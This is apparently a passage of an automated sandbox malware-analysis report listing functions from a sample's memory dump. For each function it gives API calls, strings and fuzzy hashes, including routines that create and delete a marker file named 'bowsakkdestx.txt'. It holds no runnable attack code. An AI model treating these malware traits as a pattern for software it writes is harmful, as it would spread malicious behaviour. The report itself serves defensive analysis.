Opcode Fuzzy Hash: d70b67a4a7fe440acc7419d06ec2b6f75a63a325c355f2e5d89529d3462600c6
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

string too long, xrefs: 00417D36
invalid string position, xrefs: 00417D2C

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 3e8e620cdafad959620aa8092266a2dd437b35ec9cc4a24f81571b5e96538b17
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: 3e8e620cdafad959620aa8092266a2dd437b35ec9cc4a24f81571b5e96538b17
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Function 004229A9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 00422A5F
__write.LIBCMT ref: 00422A92
__flsbuf.LIBCMT ref: 00422AC0

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Strings

A, xrefs: 00422A9F, 00422A44, 00422A87, 00422AB8, 00422A3A

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __flsbuf__flush__getptd_noexit__write
String ID: A
API String ID: 3115901604-2078354741
Opcode ID: d1228be24c2bcabe2754a9de32c20230a63627f67e8be6dccc8404be8c77e6ea
Instruction ID: 74c924880168de559db59c14e1a2c39f6381d3f38157317aef41ba5f0430eaff
Opcode Fuzzy Hash: d1228be24c2bcabe2754a9de32c20230a63627f67e8be6dccc8404be8c77e6ea
Instruction Fuzzy Hash: F041F870700626BFDB289F69EA8056F77A5BF44360B94813FE805C7740D6F8DD818B58

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

string too long, xrefs: 00414256
invalid string position, xrefs: 00414260

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 749c0c363911c6b197ced0573a154d5961979834c741efb9d592a9087351605d
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 749c0c363911c6b197ced0573a154d5961979834c741efb9d592a9087351605d
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Function 00425341 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 00425354

Strings

U, xrefs: 0042535D

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: 96f9a77ca4cc4fe958c434aa827cb810c13d5acf0ea92317e974609e7887e837
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 6521C9717046286BEB10DAA5BC41BBB739CDB85750FD0416BFD08C6190EA79994046AD

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7
C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,00000000), ref: 0040C5F6
RpcStringFreeA.RPCRT4(00000000), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: dc9514dc3cc728d26dfdc447613b7bcea16efd59eca3e38d4ff14dbb98031a68
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: dc9514dc3cc728d26dfdc447613b7bcea16efd59eca3e38d4ff14dbb98031a68
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Function 00437A2D Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 00437A44
_wcscmp.LIBCMT ref: 00437A55

Strings

OCP, xrefs: 00437A4F
ACP, xrefs: 00437A3E

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _wcscmp
String ID: ACP$OCP
API String ID: 856254489-711371036
Opcode ID: aa8000f8b7855d8823c6aeee0a3666c2c2ac351801b90a308c615276b5b88e11
Instruction ID: be6dee110b44ec76455643647cb0bd3c477e6d53c765760a4e3a4e904bc1756d
Opcode Fuzzy Hash: aa8000f8b7855d8823c6aeee0a3666c2c2ac351801b90a308c615276b5b88e11
Instruction Fuzzy Hash: EF01C4A2608215B6EB34BA59DC42FAE37899F0C3A4F105417F948D6281F77CEB4042DC

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: 7bb19c27cc9a7f12da775c20c0529bba410bcf1f96fba2b77c3b0c0f0107ff1b
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: 7bb19c27cc9a7f12da775c20c0529bba410bcf1f96fba2b77c3b0c0f0107ff1b
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

0, xrefs: 0041BA1D
LPCWSTRszWindowClass, xrefs: 0041BA65

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 26ecba1af734d67abcddf069fb71295571f6332d11be29335550415d4ddae36b
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: 26ecba1af734d67abcddf069fb71295571f6332d11be29335550415d4ddae36b
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 4f8a020f16c05ce8eb09244123f141b643e409d9ae385191a5e5949e342c4f07
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 4f8a020f16c05ce8eb09244123f141b643e409d9ae385191a5e5949e342c4f07
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,E1C11FE1,00BFBBEF,00000000,?,00000000,00000000,?,0043C0ED,?,00BFBBEF,00000003), ref: 0043C709
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,00000001,00BFBBEF,00000000,?,00000000,00000000,?,0043C0ED,?,00BFBBEF,00000003), ref: 0043C73F

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 545b86b4f69abcc520aee3959e2c1e78f1be635744476d2f07a63b5a2a38a0c0
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 545b86b4f69abcc520aee3959e2c1e78f1be635744476d2f07a63b5a2a38a0c0
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Function 004253B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00425007: __getptd_noexit.LIBCMT ref: 00425008
Part of subcall function 00425007: __amsg_exit.LIBCMT ref: 00425015

__calloc_crt.LIBCMT ref: 00425A01

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__lock.LIBCMT ref: 00425A37
___addlocaleref.LIBCMT ref: 00425A43
__lock.LIBCMT ref: 00425A57

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: 9925ebe33404cbde23c1fb2f9b399b2968a8912f67deb2e26b2c525534b3c5e5
Instruction ID: 8e8bf19fb99f986105457608807abe9f1de148b308aa0ea96eb71ffb67844566
Opcode Fuzzy Hash: 9925ebe33404cbde23c1fb2f9b399b2968a8912f67deb2e26b2c525534b3c5e5
Instruction Fuzzy Hash: A3018471742720DBD720FFAAA443B1D77A09F40728F90424FF455972C6CE7C49418A6D

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

